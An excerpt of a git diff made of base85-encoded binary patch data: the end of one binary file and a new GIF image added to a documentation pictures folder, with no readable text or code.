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
D(|C#&

literal 0
HcmV?d00001

diff --git a/docs/pics/11548742010310.gif b/docs/pics/11548742010310.gif
new file mode 100644
index 0000000000000000000000000000000000000000..7bc747345d61d7de479ffc72c4c1fef5fc240ca9
GIT binary patch
literal 8192
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
